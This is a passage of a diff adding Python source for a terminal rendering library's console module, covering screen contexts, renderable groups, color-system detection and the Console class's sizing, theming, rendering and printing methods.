None: + self.console = console + self.hide_cursor = hide_cursor + self.screen = Screen(style=style) + self._changed = False + + def update( + self, *renderables: RenderableType, style: Optional[StyleType] = None + ) -> None: + """Update the screen. + + Args: + renderable (RenderableType, optional): Optional renderable to replace current renderable, + or None for no change. Defaults to None. + style: (Style, optional): Replacement style, or None for no change. Defaults to None. + """ + if renderables: + self.screen.renderable = ( + Group(*renderables) if len(renderables) > 1 else renderables[0] + ) + if style is not None: + self.screen.style = style + self.console.print(self.screen, end="") + + def __enter__(self) -> "ScreenContext": + self._changed = self.console.set_alt_screen(True) + if self._changed and self.hide_cursor: + self.console.show_cursor(False) + return self + + def __exit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + if self._changed: + self.console.set_alt_screen(False) + if self.hide_cursor: + self.console.show_cursor(True) + + +class Group: + """Takes a group of renderables and returns a renderable object that renders the group. + + Args: + renderables (Iterable[RenderableType]): An iterable of renderable objects. + fit (bool, optional): Fit dimension of group to contents, or fill available space. Defaults to True. + """ + + def __init__(self, *renderables: "RenderableType", fit: bool = True) -> None: + self._renderables = renderables + self.fit = fit + self._render: Optional[List[RenderableType]] = None + + @property + def renderables(self) -> List["RenderableType"]: + if self._render is None: + self._render = list(self._renderables) + return self._render + + def __rich_measure__( + self, console: "Console", options: "ConsoleOptions" + ) -> "Measurement": + if self.fit: + return measure_renderables(console, options, self.renderables) + else: + return Measurement(options.max_width, options.max_width) + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> RenderResult: + yield from self.renderables + + +def group(fit: bool = True) -> Callable[..., Callable[..., Group]]: + """A decorator that turns an iterable of renderables in to a group. + + Args: + fit (bool, optional): Fit dimension of group to contents, or fill available space. Defaults to True. + """ + + def decorator( + method: Callable[..., Iterable[RenderableType]] + ) -> Callable[..., Group]: + """Convert a method that returns an iterable of renderables in to a Group.""" + + @wraps(method) + def _replace(*args: Any, **kwargs: Any) -> Group: + renderables = method(*args, **kwargs) + return Group(*renderables, fit=fit) + + return _replace + + return decorator + + +def _is_jupyter() -> bool: # pragma: no cover + """Check if we're running in a Jupyter notebook.""" + try: + get_ipython # type: ignore[name-defined] + except NameError: + return False + ipython = get_ipython() # type: ignore[name-defined] + shell = ipython.__class__.__name__ + if ( + "google.colab" in str(ipython.__class__) + or os.getenv("DATABRICKS_RUNTIME_VERSION") + or shell == "ZMQInteractiveShell" + ): + return True # Jupyter notebook or qtconsole + elif shell == "TerminalInteractiveShell": + return False # Terminal running IPython + else: + return False # Other type (?) + + +COLOR_SYSTEMS = { + "standard": ColorSystem.STANDARD, + "256": ColorSystem.EIGHT_BIT, + "truecolor": ColorSystem.TRUECOLOR, + "windows": ColorSystem.WINDOWS, +} + +_COLOR_SYSTEMS_NAMES = {system: name for name, system in COLOR_SYSTEMS.items()} + + +@dataclass +class ConsoleThreadLocals(threading.local): + """Thread local values for Console context.""" + + theme_stack: ThemeStack + buffer: List[Segment] = field(default_factory=list) + buffer_index: int = 0 + + +class RenderHook(ABC): + """Provides hooks in to the render process.""" + + @abstractmethod + def process_renderables( + self, renderables: List[ConsoleRenderable] + ) -> List[ConsoleRenderable]: + """Called with a list of objects to render. + + This method can return a new list of renderables, or modify and return the same list. + + Args: + renderables (List[ConsoleRenderable]): A number of renderable objects. + + Returns: + List[ConsoleRenderable]: A replacement list of renderables. + """ + + +_windows_console_features: Optional["WindowsConsoleFeatures"] = None + + +def get_windows_console_features() -> "WindowsConsoleFeatures": # pragma: no cover + global _windows_console_features + if _windows_console_features is not None: + return _windows_console_features + from ._windows import get_windows_console_features + + _windows_console_features = get_windows_console_features() + return _windows_console_features + + +def detect_legacy_windows() -> bool: + """Detect legacy Windows.""" + return WINDOWS and not get_windows_console_features().vt + + +class Console: + """A high level console interface. + + Args: + color_system (str, optional): The color system supported by your terminal, + either ``"standard"``, ``"256"`` or ``"truecolor"``. Leave as ``"auto"`` to autodetect. + force_terminal (Optional[bool], optional): Enable/disable terminal control codes, or None to auto-detect terminal. Defaults to None. + force_jupyter (Optional[bool], optional): Enable/disable Jupyter rendering, or None to auto-detect Jupyter. Defaults to None. + force_interactive (Optional[bool], optional): Enable/disable interactive mode, or None to auto detect. Defaults to None. + soft_wrap (Optional[bool], optional): Set soft wrap default on print method. Defaults to False. + theme (Theme, optional): An optional style theme object, or ``None`` for default theme. + stderr (bool, optional): Use stderr rather than stdout if ``file`` is not specified. Defaults to False. + file (IO, optional): A file object where the console should write to. Defaults to stdout. + quiet (bool, Optional): Boolean to suppress all output. Defaults to False. + width (int, optional): The width of the terminal. Leave as default to auto-detect width. + height (int, optional): The height of the terminal. Leave as default to auto-detect height. + style (StyleType, optional): Style to apply to all output, or None for no style. Defaults to None. + no_color (Optional[bool], optional): Enabled no color mode, or None to auto detect. Defaults to None. + tab_size (int, optional): Number of spaces used to replace a tab character. Defaults to 8. + record (bool, optional): Boolean to enable recording of terminal output, + required to call :meth:`export_html`, :meth:`export_svg`, and :meth:`export_text`. Defaults to False. + markup (bool, optional): Boolean to enable :ref:`console_markup`. Defaults to True. + emoji (bool, optional): Enable emoji code. Defaults to True. + emoji_variant (str, optional): Optional emoji variant, either "text" or "emoji". Defaults to None. + highlight (bool, optional): Enable automatic highlighting. Defaults to True. + log_time (bool, optional): Boolean to enable logging of time by :meth:`log` methods. Defaults to True. + log_path (bool, optional): Boolean to enable the logging of the caller by :meth:`log`. Defaults to True. + log_time_format (Union[str, TimeFormatterCallable], optional): If ``log_time`` is enabled, either string for strftime or callable that formats the time. Defaults to "[%X] ". + highlighter (HighlighterType, optional): Default highlighter. + legacy_windows (bool, optional): Enable legacy Windows mode, or ``None`` to auto detect. Defaults to ``None``. + safe_box (bool, optional): Restrict box options that don't render on legacy Windows. + get_datetime (Callable[[], datetime], optional): Callable that gets the current time as a datetime.datetime object (used by Console.log), + or None for datetime.now. + get_time (Callable[[], time], optional): Callable that gets the current time in seconds, default uses time.monotonic. + """ + + _environ: Mapping[str, str] = os.environ + + def __init__( + self, + *, + color_system: Optional[ + Literal["auto", "standard", "256", "truecolor", "windows"] + ] = "auto", + force_terminal: Optional[bool] = None, + force_jupyter: Optional[bool] = None, + force_interactive: Optional[bool] = None, + soft_wrap: bool = False, + theme: Optional[Theme] = None, + stderr: bool = False, + file: Optional[IO[str]] = None, + quiet: bool = False, + width: Optional[int] = None, + height: Optional[int] = None, + style: Optional[StyleType] = None, + no_color: Optional[bool] = None, + tab_size: int = 8, + record: bool = False, + markup: bool = True, + emoji: bool = True, + emoji_variant: Optional[EmojiVariant] = None, + highlight: bool = True, + log_time: bool = True, + log_path: bool = True, + log_time_format: Union[str, FormatTimeCallable] = "[%X]", + highlighter: Optional["HighlighterType"] = ReprHighlighter(), + legacy_windows: Optional[bool] = None, + safe_box: bool = True, + get_datetime: Optional[Callable[[], datetime]] = None, + get_time: Optional[Callable[[], float]] = None, + _environ: Optional[Mapping[str, str]] = None, + ): + # Copy of os.environ allows us to replace it for testing + if _environ is not None: + self._environ = _environ + + self.is_jupyter = _is_jupyter() if force_jupyter is None else force_jupyter + if self.is_jupyter: + if width is None: + jupyter_columns = self._environ.get("JUPYTER_COLUMNS") + if jupyter_columns is not None and jupyter_columns.isdigit(): + width = int(jupyter_columns) + else: + width = JUPYTER_DEFAULT_COLUMNS + if height is None: + jupyter_lines = self._environ.get("JUPYTER_LINES") + if jupyter_lines is not None and jupyter_lines.isdigit(): + height = int(jupyter_lines) + else: + height = JUPYTER_DEFAULT_LINES + + self.tab_size = tab_size + self.record = record + self._markup = markup + self._emoji = emoji + self._emoji_variant: Optional[EmojiVariant] = emoji_variant + self._highlight = highlight + self.legacy_windows: bool = ( + (detect_legacy_windows() and not self.is_jupyter) + if legacy_windows is None + else legacy_windows + ) + + if width is None: + columns = self._environ.get("COLUMNS") + if columns is not None and columns.isdigit(): + width = int(columns) - self.legacy_windows + if height is None: + lines = self._environ.get("LINES") + if lines is not None and lines.isdigit(): + height = int(lines) + + self.soft_wrap = soft_wrap + self._width = width + self._height = height + + self._color_system: Optional[ColorSystem] + + self._force_terminal = None + if force_terminal is not None: + self._force_terminal = force_terminal + + self._file = file + self.quiet = quiet + self.stderr = stderr + + if color_system is None: + self._color_system = None + elif color_system == "auto": + self._color_system = self._detect_color_system() + else: + self._color_system = COLOR_SYSTEMS[color_system] + + self._lock = threading.RLock() + self._log_render = LogRender( + show_time=log_time, + show_path=log_path, + time_format=log_time_format, + ) + self.highlighter: HighlighterType = highlighter or _null_highlighter + self.safe_box = safe_box + self.get_datetime = get_datetime or datetime.now + self.get_time = get_time or monotonic + self.style = style + self.no_color = ( + no_color if no_color is not None else "NO_COLOR" in self._environ + ) + self.is_interactive = ( + (self.is_terminal and not self.is_dumb_terminal) + if force_interactive is None + else force_interactive + ) + + self._record_buffer_lock = threading.RLock() + self._thread_locals = ConsoleThreadLocals( + theme_stack=ThemeStack(themes.DEFAULT if theme is None else theme) + ) + self._record_buffer: List[Segment] = [] + self._render_hooks: List[RenderHook] = [] + self._live: Optional["Live"] = None + self._is_alt_screen = False + + def __repr__(self) -> str: + return f"" + + @property + def file(self) -> IO[str]: + """Get the file object to write to.""" + file = self._file or (sys.stderr if self.stderr else sys.stdout) + file = getattr(file, "rich_proxied_file", file) + if file is None: + file = NULL_FILE + return file + + @file.setter + def file(self, new_file: IO[str]) -> None: + """Set a new file object.""" + self._file = new_file + + @property + def _buffer(self) -> List[Segment]: + """Get a thread local buffer.""" + return self._thread_locals.buffer + + @property + def _buffer_index(self) -> int: + """Get a thread local buffer.""" + return self._thread_locals.buffer_index + + @_buffer_index.setter + def _buffer_index(self, value: int) -> None: + self._thread_locals.buffer_index = value + + @property + def _theme_stack(self) -> ThemeStack: + """Get the thread local theme stack.""" + return self._thread_locals.theme_stack + + def _detect_color_system(self) -> Optional[ColorSystem]: + """Detect color system from env vars.""" + if self.is_jupyter: + return ColorSystem.TRUECOLOR + if not self.is_terminal or self.is_dumb_terminal: + return None + if WINDOWS: # pragma: no cover + if self.legacy_windows: # pragma: no cover + return ColorSystem.WINDOWS + windows_console_features = get_windows_console_features() + return ( + ColorSystem.TRUECOLOR + if windows_console_features.truecolor + else ColorSystem.EIGHT_BIT + ) + else: + color_term = self._environ.get("COLORTERM", "").strip().lower() + if color_term in ("truecolor", "24bit"): + return ColorSystem.TRUECOLOR + term = self._environ.get("TERM", "").strip().lower() + _term_name, _hyphen, colors = term.rpartition("-") + color_system = _TERM_COLORS.get(colors, ColorSystem.STANDARD) + return color_system + + def _enter_buffer(self) -> None: + """Enter in to a buffer context, and buffer all output.""" + self._buffer_index += 1 + + def _exit_buffer(self) -> None: + """Leave buffer context, and render content if required.""" + self._buffer_index -= 1 + self._check_buffer() + + def set_live(self, live: "Live") -> None: + """Set Live instance. Used by Live context manager. + + Args: + live (Live): Live instance using this Console. + + Raises: + errors.LiveError: If this Console has a Live context currently active. + """ + with self._lock: + if self._live is not None: + raise errors.LiveError("Only one live display may be active at once") + self._live = live + + def clear_live(self) -> None: + """Clear the Live instance.""" + with self._lock: + self._live = None + + def push_render_hook(self, hook: RenderHook) -> None: + """Add a new render hook to the stack. + + Args: + hook (RenderHook): Render hook instance. + """ + with self._lock: + self._render_hooks.append(hook) + + def pop_render_hook(self) -> None: + """Pop the last renderhook from the stack.""" + with self._lock: + self._render_hooks.pop() + + def __enter__(self) -> "Console": + """Own context manager to enter buffer context.""" + self._enter_buffer() + return self + + def __exit__(self, exc_type: Any, exc_value: Any, traceback: Any) -> None: + """Exit buffer context.""" + self._exit_buffer() + + def begin_capture(self) -> None: + """Begin capturing console output. Call :meth:`end_capture` to exit capture mode and return output.""" + self._enter_buffer() + + def end_capture(self) -> str: + """End capture mode and return captured string. + + Returns: + str: Console output. + """ + render_result = self._render_buffer(self._buffer) + del self._buffer[:] + self._exit_buffer() + return render_result + + def push_theme(self, theme: Theme, *, inherit: bool = True) -> None: + """Push a new theme on to the top of the stack, replacing the styles from the previous theme. + Generally speaking, you should call :meth:`~rich.console.Console.use_theme` to get a context manager, rather + than calling this method directly. + + Args: + theme (Theme): A theme instance. + inherit (bool, optional): Inherit existing styles. Defaults to True. + """ + self._theme_stack.push_theme(theme, inherit=inherit) + + def pop_theme(self) -> None: + """Remove theme from top of stack, restoring previous theme.""" + self._theme_stack.pop_theme() + + def use_theme(self, theme: Theme, *, inherit: bool = True) -> ThemeContext: + """Use a different theme for the duration of the context manager. + + Args: + theme (Theme): Theme instance to user. + inherit (bool, optional): Inherit existing console styles. Defaults to True. + + Returns: + ThemeContext: [description] + """ + return ThemeContext(self, theme, inherit) + + @property + def color_system(self) -> Optional[str]: + """Get color system string. + + Returns: + Optional[str]: "standard", "256" or "truecolor". + """ + + if self._color_system is not None: + return _COLOR_SYSTEMS_NAMES[self._color_system] + else: + return None + + @property + def encoding(self) -> str: + """Get the encoding of the console file, e.g. ``"utf-8"``. + + Returns: + str: A standard encoding string. + """ + return (getattr(self.file, "encoding", "utf-8") or "utf-8").lower() + + @property + def is_terminal(self) -> bool: + """Check if the console is writing to a terminal. + + Returns: + bool: True if the console writing to a device capable of + understanding terminal codes, otherwise False. + """ + if self._force_terminal is not None: + return self._force_terminal + + if hasattr(sys.stdin, "__module__") and sys.stdin.__module__.startswith( + "idlelib" + ): + # Return False for Idle which claims to be a tty but can't handle ansi codes + return False + + if self.is_jupyter: + # return False for Jupyter, which may have FORCE_COLOR set + return False + + # If FORCE_COLOR env var has any value at all, we assume a terminal. + force_color = self._environ.get("FORCE_COLOR") + if force_color is not None: + self._force_terminal = True + return True + + isatty: Optional[Callable[[], bool]] = getattr(self.file, "isatty", None) + try: + return False if isatty is None else isatty() + except ValueError: + # in some situation (at the end of a pytest run for example) isatty() can raise + # ValueError: I/O operation on closed file + # return False because we aren't in a terminal anymore + return False + + @property + def is_dumb_terminal(self) -> bool: + """Detect dumb terminal. + + Returns: + bool: True if writing to a dumb terminal, otherwise False. + + """ + _term = self._environ.get("TERM", "") + is_dumb = _term.lower() in ("dumb", "unknown") + return self.is_terminal and is_dumb + + @property + def options(self) -> ConsoleOptions: + """Get default console options.""" + return ConsoleOptions( + max_height=self.size.height, + size=self.size, + legacy_windows=self.legacy_windows, + min_width=1, + max_width=self.width, + encoding=self.encoding, + is_terminal=self.is_terminal, + ) + + @property + def size(self) -> ConsoleDimensions: + """Get the size of the console. + + Returns: + ConsoleDimensions: A named tuple containing the dimensions. + """ + + if self._width is not None and self._height is not None: + return ConsoleDimensions(self._width - self.legacy_windows, self._height) + + if self.is_dumb_terminal: + return ConsoleDimensions(80, 25) + + width: Optional[int] = None + height: Optional[int] = None + + if WINDOWS: # pragma: no cover + try: + width, height = os.get_terminal_size() + except (AttributeError, ValueError, OSError): # Probably not a terminal + pass + else: + for file_descriptor in _STD_STREAMS: + try: + width, height = os.get_terminal_size(file_descriptor) + except (AttributeError, ValueError, OSError): + pass + else: + break + + columns = self._environ.get("COLUMNS") + if columns is not None and columns.isdigit(): + width = int(columns) + lines = self._environ.get("LINES") + if lines is not None and lines.isdigit(): + height = int(lines) + + # get_terminal_size can report 0, 0 if run from pseudo-terminal + width = width or 80 + height = height or 25 + return ConsoleDimensions( + width - self.legacy_windows if self._width is None else self._width, + height if self._height is None else self._height, + ) + + @size.setter + def size(self, new_size: Tuple[int, int]) -> None: + """Set a new size for the terminal. + + Args: + new_size (Tuple[int, int]): New width and height. + """ + width, height = new_size + self._width = width + self._height = height + + @property + def width(self) -> int: + """Get the width of the console. + + Returns: + int: The width (in characters) of the console. + """ + return self.size.width + + @width.setter + def width(self, width: int) -> None: + """Set width. + + Args: + width (int): New width. + """ + self._width = width + + @property + def height(self) -> int: + """Get the height of the console. + + Returns: + int: The height (in lines) of the console. + """ + return self.size.height + + @height.setter + def height(self, height: int) -> None: + """Set height. + + Args: + height (int): new height. + """ + self._height = height + + def bell(self) -> None: + """Play a 'bell' sound (if supported by the terminal).""" + self.control(Control.bell()) + + def capture(self) -> Capture: + """A context manager to *capture* the result of print() or log() in a string, + rather than writing it to the console. + + Example: + >>> from rich.console import Console + >>> console = Console() + >>> with console.capture() as capture: + ... console.print("[bold magenta]Hello World[/]") + >>> print(capture.get()) + + Returns: + Capture: Context manager with disables writing to the terminal. + """ + capture = Capture(self) + return capture + + def pager( + self, pager: Optional[Pager] = None, styles: bool = False, links: bool = False + ) -> PagerContext: + """A context manager to display anything printed within a "pager". The pager application + is defined by the system and will typically support at least pressing a key to scroll. + + Args: + pager (Pager, optional): A pager object, or None to use :class:`~rich.pager.SystemPager`. Defaults to None. + styles (bool, optional): Show styles in pager. Defaults to False. + links (bool, optional): Show links in pager. Defaults to False. + + Example: + >>> from rich.console import Console + >>> from rich.__main__ import make_test_card + >>> console = Console() + >>> with console.pager(): + console.print(make_test_card()) + + Returns: + PagerContext: A context manager. + """ + return PagerContext(self, pager=pager, styles=styles, links=links) + + def line(self, count: int = 1) -> None: + """Write new line(s). + + Args: + count (int, optional): Number of new lines. Defaults to 1. + """ + + assert count >= 0, "count must be >= 0" + self.print(NewLine(count)) + + def clear(self, home: bool = True) -> None: + """Clear the screen. + + Args: + home (bool, optional): Also move the cursor to 'home' position. Defaults to True. + """ + if home: + self.control(Control.clear(), Control.home()) + else: + self.control(Control.clear()) + + def status( + self, + status: RenderableType, + *, + spinner: str = "dots", + spinner_style: StyleType = "status.spinner", + speed: float = 1.0, + refresh_per_second: float = 12.5, + ) -> "Status": + """Display a status and spinner. + + Args: + status (RenderableType): A status renderable (str or Text typically). + spinner (str, optional): Name of spinner animation (see python -m rich.spinner). Defaults to "dots". + spinner_style (StyleType, optional): Style of spinner. Defaults to "status.spinner". + speed (float, optional): Speed factor for spinner animation. Defaults to 1.0. + refresh_per_second (float, optional): Number of refreshes per second. Defaults to 12.5. + + Returns: + Status: A Status object that may be used as a context manager. + """ + from .status import Status + + status_renderable = Status( + status, + console=self, + spinner=spinner, + spinner_style=spinner_style, + speed=speed, + refresh_per_second=refresh_per_second, + ) + return status_renderable + + def show_cursor(self, show: bool = True) -> bool: + """Show or hide the cursor. + + Args: + show (bool, optional): Set visibility of the cursor. + """ + if self.is_terminal: + self.control(Control.show_cursor(show)) + return True + return False + + def set_alt_screen(self, enable: bool = True) -> bool: + """Enables alternative screen mode. + + Note, if you enable this mode, you should ensure that is disabled before + the application exits. See :meth:`~rich.Console.screen` for a context manager + that handles this for you. + + Args: + enable (bool, optional): Enable (True) or disable (False) alternate screen. Defaults to True. + + Returns: + bool: True if the control codes were written. + + """ + changed = False + if self.is_terminal and not self.legacy_windows: + self.control(Control.alt_screen(enable)) + changed = True + self._is_alt_screen = enable + return changed + + @property + def is_alt_screen(self) -> bool: + """Check if the alt screen was enabled. + + Returns: + bool: True if the alt screen was enabled, otherwise False. + """ + return self._is_alt_screen + + def set_window_title(self, title: str) -> bool: + """Set the title of the console terminal window. + + Warning: There is no means within Rich of "resetting" the window title to its + previous value, meaning the title you set will persist even after your application + exits. + + ``fish`` shell resets the window title before and after each command by default, + negating this issue. Windows Terminal and command prompt will also reset the title for you. + Most other shells and terminals, however, do not do this. + + Some terminals may require configuration changes before you can set the title. + Some terminals may not support setting the title at all. + + Other software (including the terminal itself, the shell, custom prompts, plugins, etc.) + may also set the terminal window title. This could result in whatever value you write + using this method being overwritten. + + Args: + title (str): The new title of the terminal window. + + Returns: + bool: True if the control code to change the terminal title was + written, otherwise False. Note that a return value of True + does not guarantee that the window title has actually changed, + since the feature may be unsupported/disabled in some terminals. + """ + if self.is_terminal: + self.control(Control.title(title)) + return True + return False + + def screen( + self, hide_cursor: bool = True, style: Optional[StyleType] = None + ) -> "ScreenContext": + """Context manager to enable and disable 'alternative screen' mode. + + Args: + hide_cursor (bool, optional): Also hide the cursor. Defaults to False. + style (Style, optional): Optional style for screen. Defaults to None. + + Returns: + ~ScreenContext: Context which enables alternate screen on enter, and disables it on exit. + """ + return ScreenContext(self, hide_cursor=hide_cursor, style=style or "") + + def measure( + self, renderable: RenderableType, *, options: Optional[ConsoleOptions] = None + ) -> Measurement: + """Measure a renderable. Returns a :class:`~rich.measure.Measurement` object which contains + information regarding the number of characters required to print the renderable. + + Args: + renderable (RenderableType): Any renderable or string. + options (Optional[ConsoleOptions], optional): Options to use when measuring, or None + to use default options. Defaults to None. + + Returns: + Measurement: A measurement of the renderable. + """ + measurement = Measurement.get(self, options or self.options, renderable) + return measurement + + def render( + self, renderable: RenderableType, options: Optional[ConsoleOptions] = None + ) -> Iterable[Segment]: + """Render an object in to an iterable of `Segment` instances. + + This method contains the logic for rendering objects with the console protocol. + You are unlikely to need to use it directly, unless you are extending the library. + + Args: + renderable (RenderableType): An object supporting the console protocol, or + an object that may be converted to a string. + options (ConsoleOptions, optional): An options object, or None to use self.options. Defaults to None. + + Returns: + Iterable[Segment]: An iterable of segments that may be rendered. + """ + + _options = options or self.options + if _options.max_width < 1: + # No space to render anything. This prevents potential recursion errors. + return + render_iterable: RenderResult + + renderable = rich_cast(renderable) + if hasattr(renderable, "__rich_console__") and not isclass(renderable): + render_iterable = renderable.__rich_console__(self, _options) # type: ignore[union-attr] + elif isinstance(renderable, str): + text_renderable = self.render_str( + renderable, highlight=_options.highlight, markup=_options.markup + ) + render_iterable = text_renderable.__rich_console__(self, _options) + else: + raise errors.NotRenderableError( + f"Unable to render {renderable!r}; " + "A str, Segment or object with __rich_console__ method is required" + ) + + try: + iter_render = iter(render_iterable) + except TypeError: + raise errors.NotRenderableError( + f"object {render_iterable!r} is not renderable" + ) + _Segment = Segment + _options = _options.reset_height() + for render_output in iter_render: + if isinstance(render_output, _Segment): + yield render_output + else: + yield from self.render(render_output, _options) + + def render_lines( + self, + renderable: RenderableType, + options: Optional[ConsoleOptions] = None, + *, + style: Optional[Style] = None, + pad: bool = True, + new_lines: bool = False, + ) -> List[List[Segment]]: + """Render objects in to a list of lines. + + The output of render_lines is useful when further formatting of rendered console text + is required, such as the Panel class which draws a border around any renderable object. + + Args: + renderable (RenderableType): Any object renderable in the console. + options (Optional[ConsoleOptions], optional): Console options, or None to use self.options. Default to ``None``. + style (Style, optional): Optional style to apply to renderables. Defaults to ``None``. + pad (bool, optional): Pad lines shorter than render width. Defaults to ``True``. + new_lines (bool, optional): Include "\n" characters at end of lines. + + Returns: + List[List[Segment]]: A list of lines, where a line is a list of Segment objects. + """ + with self._lock: + render_options = options or self.options + _rendered = self.render(renderable, render_options) + if style: + _rendered = Segment.apply_style(_rendered, style) + + render_height = render_options.height + if render_height is not None: + render_height = max(0, render_height) + + lines = list( + islice( + Segment.split_and_crop_lines( + _rendered, + render_options.max_width, + include_new_lines=new_lines, + pad=pad, + style=style, + ), + None, + render_height, + ) + ) + if render_options.height is not None: + extra_lines = render_options.height - len(lines) + if extra_lines > 0: + pad_line = [ + [Segment(" " * render_options.max_width, style), Segment("\n")] + if new_lines + else [Segment(" " * render_options.max_width, style)] + ] + lines.extend(pad_line * extra_lines) + + return lines + + def render_str( + self, + text: str, + *, + style: Union[str, Style] = "", + justify: Optional[JustifyMethod] = None, + overflow: Optional[OverflowMethod] = None, + emoji: Optional[bool] = None, + markup: Optional[bool] = None, + highlight: Optional[bool] = None, + highlighter: Optional[HighlighterType] = None, + ) -> "Text": + """Convert a string to a Text instance. This is called automatically if + you print or log a string. + + Args: + text (str): Text to render. + style (Union[str, Style], optional): Style to apply to rendered text. + justify (str, optional): Justify method: "default", "left", "center", "full", or "right". Defaults to ``None``. + overflow (str, optional): Overflow method: "crop", "fold", or "ellipsis". Defaults to ``None``. + emoji (Optional[bool], optional): Enable emoji, or ``None`` to use Console default. + markup (Optional[bool], optional): Enable markup, or ``None`` to use Console default. + highlight (Optional[bool], optional): Enable highlighting, or ``None`` to use Console default. + highlighter (HighlighterType, optional): Optional highlighter to apply. + Returns: + ConsoleRenderable: Renderable object. + + """ + emoji_enabled = emoji or (emoji is None and self._emoji) + markup_enabled = markup or (markup is None and self._markup) + highlight_enabled = highlight or (highlight is None and self._highlight) + + if markup_enabled: + rich_text = render_markup( + text, + style=style, + emoji=emoji_enabled, + emoji_variant=self._emoji_variant, + ) + rich_text.justify = justify + rich_text.overflow = overflow + else: + rich_text = Text( + _emoji_replace(text, default_variant=self._emoji_variant) + if emoji_enabled + else text, + justify=justify, + overflow=overflow, + style=style, + ) + + _highlighter = (highlighter or self.highlighter) if highlight_enabled else None + if _highlighter is not None: + highlight_text = _highlighter(str(rich_text)) + highlight_text.copy_styles(rich_text) + return highlight_text + + return rich_text + + def get_style( + self, name: Union[str, Style], *, default: Optional[Union[Style, str]] = None + ) -> Style: + """Get a Style instance by its theme name or parse a definition. + + Args: + name (str): The name of a style or a style definition. + + Returns: + Style: A Style object. + + Raises: + MissingStyle: If no style could be parsed from name. + + """ + if isinstance(name, Style): + return name + + try: + style = self._theme_stack.get(name) + if style is None: + style = Style.parse(name) + return style.copy() if style.link else style + except errors.StyleSyntaxError as error: + if default is not None: + return self.get_style(default) + raise errors.MissingStyle( + f"Failed to get style {name!r}; {error}" + ) from None + + def _collect_renderables( + self, + objects: Iterable[Any], + sep: str, + end: str, + *, + justify: Optional[JustifyMethod] = None, + emoji: Optional[bool] = None, + markup: Optional[bool] = None, + highlight: Optional[bool] = None, + ) -> List[ConsoleRenderable]: + """Combine a number of renderables and text into one renderable. + + Args: + objects (Iterable[Any]): Anything that Rich can render. + sep (str): String to write between print data. + end (str): String to write at end of print data. + justify (str, optional): One of "left", "right", "center", or "full". Defaults to ``None``. + emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. + markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. + highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. + + Returns: + List[ConsoleRenderable]: A list of things to render. + """ + renderables: List[ConsoleRenderable] = [] + _append = renderables.append + text: List[Text] = [] + append_text = text.append + + append = _append + if justify in ("left", "center", "right"): + + def align_append(renderable: RenderableType) -> None: + _append(Align(renderable, cast(AlignMethod, justify))) + + append = align_append + + _highlighter: HighlighterType = _null_highlighter + if highlight or (highlight is None and self._highlight): + _highlighter = self.highlighter + + def check_text() -> None: + if text: + sep_text = Text(sep, justify=justify, end=end) + append(sep_text.join(text)) + text.clear() + + for renderable in objects: + renderable = rich_cast(renderable) + if isinstance(renderable, str): + append_text( + self.render_str( + renderable, emoji=emoji, markup=markup, highlighter=_highlighter + ) + ) + elif isinstance(renderable, Text): + append_text(renderable) + elif isinstance(renderable, ConsoleRenderable): + check_text() + append(renderable) + elif is_expandable(renderable): + check_text() + append(Pretty(renderable, highlighter=_highlighter)) + else: + append_text(_highlighter(str(renderable))) + + check_text() + + if self.style is not None: + style = self.get_style(self.style) + renderables = [Styled(renderable, style) for renderable in renderables] + + return renderables + + def rule( + self, + title: TextType = "", + *, + characters: str = "─", + style: Union[str, Style] = "rule.line", + align: AlignMethod = "center", + ) -> None: + """Draw a line with optional centered title. + + Args: + title (str, optional): Text to render over the rule. Defaults to "". + characters (str, optional): Character(s) to form the line. Defaults to "─". + style (str, optional): Style of line. Defaults to "rule.line". + align (str, optional): How to align the title, one of "left", "center", or "right". Defaults to "center". + """ + from .rule import Rule + + rule = Rule(title=title, characters=characters, style=style, align=align) + self.print(rule) + + def control(self, *control: Control) -> None: + """Insert non-printing control codes. + + Args: + control_codes (str): Control codes, such as those that may move the cursor. + """ + if not self.is_dumb_terminal: + with self: + self._buffer.extend(_control.segment for _control in control) + + def out( + self, + *objects: Any, + sep: str = " ", + end: str = "\n", + style: Optional[Union[str, Style]] = None, + highlight: Optional[bool] = None, + ) -> None: + """Output to the terminal. This is a low-level way of writing to the terminal which unlike + :meth:`~rich.console.Console.print` won't pretty print, wrap text, or apply markup, but will + optionally apply highlighting and a basic style. + + Args: + sep (str, optional): String to write between print data. Defaults to " ". + end (str, optional): String to write at end of print data. Defaults to "\\\\n". + style (Union[str, Style], optional): A style to apply to output. Defaults to None. + highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use + console default. Defaults to ``None``. + """ + raw_output: str = sep.join(str(_object) for _object in objects) + self.print( + raw_output, + style=style, + highlight=highlight, + emoji=False, + markup=False, + no_wrap=True, + overflow="ignore", + crop=False, + end=end, + ) + + def print( + self, + *objects: Any, + sep: str = " ", + end: str = "\n", + style: Optional[Union[str, Style]] = None, + justify: Optional[JustifyMethod] = None, + overflow: Optional[OverflowMethod] = None, + no_wrap: Optional[bool] = None, + emoji: Optional[bool] = None, + markup: Optional[bool] = None, + highlight: Optional[bool] = None, + width: Optional[int] = None, + height: Optional[int] = None, + crop: bool = True, + soft_wrap: Optional[bool] = None, + new_line_start: bool = False, + ) -> None: + """Print to the console. + + Args: + objects (positional args): Objects to log to the terminal. + sep (str, optional): String to write between print data. Defaults to " ". + end (str, optional): String to write at end of print data. Defaults to "\\\\n". + style (Union[str, Style], optional): A style to apply to output. Defaults to None. + justify (str, optional): Justify method: "default", "left", "right", "center", or "full". Defaults to ``None``. + overflow (str, optional): Overflow method: "ignore", "crop", "fold", or "ellipsis". Defaults to None. + no_wrap (Optional[bool], optional): Disable word wrapping. Defaults to None. + emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. Defaults to ``None``. + markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. Defaults to ``None``. + highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. Defaults to ``None``. + width (Optional[int], optional): Width of output, or ``None`` to auto-detect. Defaults to ``None``. + crop (Optional[bool], optional): Crop output to width of terminal. Defaults to True. + soft_wrap (bool, optional): Enable soft wrap mode which disables word wrapping and cropping of text or ``None`` for + Console default. Defaults to ``None``. + new_line_start (bool, False): Insert a new line at the start if the output contains more than one line. Defaults to ``False``. + """ + if not objects: + objects = (NewLine(),) + 